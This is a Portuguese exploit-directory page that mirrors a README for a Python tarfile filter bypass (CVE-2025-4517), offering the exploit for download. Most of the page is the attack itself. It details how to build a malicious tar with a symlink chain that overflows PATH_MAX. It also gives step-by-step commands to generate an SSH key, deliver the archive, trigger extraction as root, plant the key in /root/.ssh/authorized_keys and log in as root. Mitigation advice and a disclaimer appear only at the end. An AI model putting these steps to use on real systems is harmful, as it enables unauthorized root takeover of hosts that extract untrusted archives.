Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/0xdtc/cve-2025-4517-tarfile-path_max-bypass
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHub0xdtc/cve-2025-4517-tarfile-path_max-bypass

CVE-2025-4517-tarfile-PATH_MAX-bypass

Bypass do filtro de dados do tarfile do Python via estouro de PATH_MAX em os.path.realpath() - CVE-2025-4517 / CVE-2025-4330

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
8há 6 mesesAinda não revisado

CVE-2025-4517 / CVE-2025-4330 — Bypass do Filtro de Dados do tarfile do Python via Estouro de PATH_MAX

Autor: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Aviso: GHSA-6r6c-684h-9j7p Correção do CPython: PR #135037

Visão Geral

O tarfile.extractall(filter="data") do Python deveria extrair com segurança arquivos tar, prevenindo travessia de caminho (caminhos absolutos, sequências .. e symlinks escapando do destino). No entanto, um bug em os.path.realpath(strict=False) permite que este filtro seja completamente contornado.

Quando o caminho resolvido excede PATH_MAX (4096 bytes no Linux), os.path.realpath() para silenciosamente de resolver symlinks e recorre à manipulação de strings. Isso significa que uma cadeia de symlinks cuidadosamente elaborada pode enganar o Python, fazendo-o pensar que um symlink resolve dentro do diretório de extração, quando na verdade escapa para /.

Versões Afetadas

RamificaçãoAfetadaCorrigida em
3.12.x3.12.0 – 3.12.103.12.11
3.13.x3.13.0 – 3.13.33.13.4
3.14.x3.14.0a1 – 3.14.0a73.14.0b1

Como Funciona

O exploit constrói um arquivo tar contendo:

  1. 16 pares de diretório/symlink — cada diretório tem um nome de ~240 caracteres, com um symlink curto (1 caractere) apontando para ele
  2. Um symlink de escape de 254 caracteres — colocado no final da cadeia curta, apontando 16 níveis para trás
  3. Um symlink "escape" — percorre a cadeia e excede PATH_MAX, enganando o realpath
  4. Um arquivo normal — escrito através do symlink de escape em um local arbitrário fora do diretório de extração

A ideia central: seguir a/b/c/.../p através de symlinks curtos permanece abaixo de PATH_MAX, mas o realpath expande cada um para o nome real do diretório de ~240 caracteres. Quando atinge o nome do link de 254 caracteres, o caminho resolvido excede 4096 bytes e o realpath desiste — retornando silenciosamente um resultado incorreto.

Diagrama de Fluxo de Dados

root@kitploit:~
flowchart TD
    A["Attacker crafts malicious tar"] --> B["tar contains:
    16 dir/symlink pairs
    254-char escape symlink
    'escape' symlink to /
    payload file"]

    B --> C["Target extracts with
    tarfile.extractall(filter='data')"]

    C --> D{"Python resolves symlinks
    via os.path.realpath()"}

    D --> E["Follows short symlinks a→ddd...d
    Resolved path grows with each step"]

    E --> F{"Resolved path length
    > PATH_MAX (4096)?"}

    F -->|"No (normal)"| G["realpath correctly resolves
    Symlink blocked by filter ✓"]

    F -->|"Yes (overflow!)"| H["realpath STOPS resolving
    Falls back to string manipulation"]

    H --> I["Python thinks symlink
    resolves INSIDE extraction dir"]

    I --> J["Filter PASSES the symlink ✗"]

    J --> K["OS follows symlink correctly
    'escape' resolves to /"]

    K --> L["Payload written to
    arbitrary file on disk"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

Sequência de Ataque

root@kitploit:~
sequenceDiagram
    participant A as Attacker Machine
    participant T as Target Machine

    Note over A: Phase 1 — Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar

    Note over A,T: Phase 2 — Delivery
    A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessible<br/>to the vulnerable script

    Note over T: Phase 3 — Exploitation
    T->>T: Trigger extraction via the<br/>vulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" → resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained

Estrutura do Arquivo Tar

root@kitploit:~
graph LR
    subgraph "Tar Members (extracted in order)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
    end

    S1 -.->|"short path<br/>stays small"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
    S5 -.->|"resolves to /"| F1

Uso

Configuração

Ambos os scripts possuem uma seção de configuração no topo com estas variáveis:

Máquina do Atacante

Opção A: Python

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Generate the malicious tar
python3 CVE-2025-4517.py

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Opção B: Go

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output

# 3. Generate the malicious tar
go run CVE-2025-4517.go

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Máquina Alvo

root@kitploit:~
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

Pós-Exploração

root@kitploit:~
# SSH as root using the planted key
ssh -i root_key root@target

Calculando DEPTH_TO_ROOT

Conte o número de diretórios de / até o seu caminho de extração:

root@kitploit:~
/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3
root@kitploit:~
/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5
root@kitploit:~
/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

Padrão de Código Vulnerável

Qualquer script Python que use tarfile.extractall() com filter="data" em uma versão afetada é potencialmente explorável:

root@kitploit:~
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNERABLE

O filter="data" foi introduzido como uma medida de segurança para prevenir ataques de travessia de caminho em tar. Ironicamente, a vulnerabilidade existe no próprio mecanismo (os.path.realpath) no qual o filtro confia para validar alvos de symlinks.

Mitigação

  • Atualize o Python para 3.12.11+, 3.13.4+ ou 3.14.0b1+
  • Evite extrair arquivos tar não confiáveis independentemente das configurações de filtro
  • Use validação adicional nos caminhos de arquivos extraídos após a extração

Referências

  • CVE-2025-4517 - NVD
  • CVE-2025-4330 - Wiz Vulnerability Database
  • GHSA-6r6c-684h-9j7p - GitHub Advisory
  • CPython PR #135037 - Fix

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados, fins educacionais e pesquisa. Use-a apenas contra sistemas que você possui ou para os quais possui permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não é responsável por qualquer uso indevido desta ferramenta.

Licença

MIT

Baixar ferramenta
VariávelDescriçãoExemplo
DEST_DIRCaminho completo para o diretório de extração no alvo/tmp/staging/extract_dir/
DEPTH_TO_ROOTNúmero de diretórios de / até DEST_DIR4 para /opt/app/staging/dir/
TARGET_FILEArquivo a ser escrito, relativo a /root/.ssh/authorized_keys
PAYLOADConteúdo a ser escrito no arquivo alvoSua chave pública SSH
OUTPUTNome do arquivo tar de saídaDeve corresponder ao padrão esperado pelo alvo